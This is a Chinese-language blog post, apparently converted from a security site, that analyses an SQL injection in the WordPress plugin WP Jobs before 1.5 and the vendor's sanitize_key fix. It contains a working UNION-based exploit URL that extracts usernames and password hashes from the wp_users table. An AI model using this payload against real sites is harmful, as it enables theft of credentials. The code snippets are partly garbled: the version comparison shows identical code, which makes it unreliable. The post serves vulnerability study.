\> 本文由 \[简悦 SimpRead\](http://ksria.com/simpread/) 转码, 原文地址 \[www.cnpanda.net\](https://www.cnpanda.net/sec/21.html)
WordPress Plugin WP Jobs < 1.5 - SQL Injection
问题出现在 wp-jobswpjobs\_applications,php,第 10 行到第 62 行:
```
-1,
'orderby' => 'post\_date',
'order' => 'DESC',
'post\_type' => 'job',
'post\_status' => 'publish',
'suppress\_filters' => true);
$jobs = get\_posts($jb\_args);
?>
|
|
|
|
|
|
prefix;
$qry = "Select \* from " . $tbl . "app\_user\_info ";
if ($job\_id <> "") {
$qry .= " where app\_job\_id = " . $job\_id; //直接带入SQL语句查询
}
$qry .= " Order by \`app\_id\` Desc ";
$users = $wpdb->get\_results($qry);
$i = 1;
foreach ($users as $user) {
?>
```
漏洞的原因很简单,系统在 request jobid 后,没有进行任何转义或者过滤处理,直接简单的判断了下 job\_id 的值是否为空,然后就拼接到了 SQL 语句中,从而导致了 SQL 注入漏洞。
测试如下:
> [http://localhost](http://localhost/):80/cve/wp-admin/edit.php?post\_type=job&page=WPJobsJobApps&jobid=11
> UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin

当字段数为 6 的时候,返回特殊页面。

说明字段数为 6。
可以使用 mysql 监控工具可以看到执行的 SQL 语句:

可以看到,我们所构造的语句被拼接到 SQL 语句中执行。
尝试查看数据库版本:

成功查询。
最终可构造的 EXP 的如下:
> [http://localhost](http://localhost/):80/cve/wp-admin/edit.php?post\_type=job&page=WPJobsJobApps&jobid=11
> UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user\_nicename AS
> CHAR),0x20),0x7430306c73,IFNULL(CAST(user\_pass AS
> CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM
> wordpress.wp\_users-- admin

三、 修复方案
看下官方的修复方案:

在 1.4 的版本中:
```
-1,
'orderby' => 'post\_date',
'order' => 'DESC',
'post\_type' => 'job',
'post\_status' => 'publish',
'suppress\_filters' => true);
$jobs = get\_posts($jb\_args);
?>
```
1.5 版本中:
```
-1,
'orderby' => 'post\_date',
'order' => 'DESC',
'post\_type' => 'job',
'post\_status' => 'publish',
'suppress\_filters' => true);
$jobs = get\_posts($jb\_args);
?>
```
可以看到官方对于 jobid 加了一个 wordpress 自带函数 sanitize\_key 来过滤特殊字符,使 jobid 的参数只允许包含数字和字母,破折号和下划线,从而修复了 SQL 注入漏洞。
由于刚开学事情比较多,而且在忙学校的一个作品竞赛,所以没太多时间研究其他比较有意思的 CVE 漏洞,只是随便在 exploit-db 找了一个有 CVE 编号的进行分析。结果分析下来发现,这个 CVE 其实没什么亮点内容,也就是一个常见的注入漏洞,而且这个漏洞比较鸡肋,因为只有管理员权限才可查看 WPJobsJobApps 界面,才能进一步进行注入。不得不感叹一声,只要肯研究 CVE 真不是难事
使用微信扫描二维码完成支付
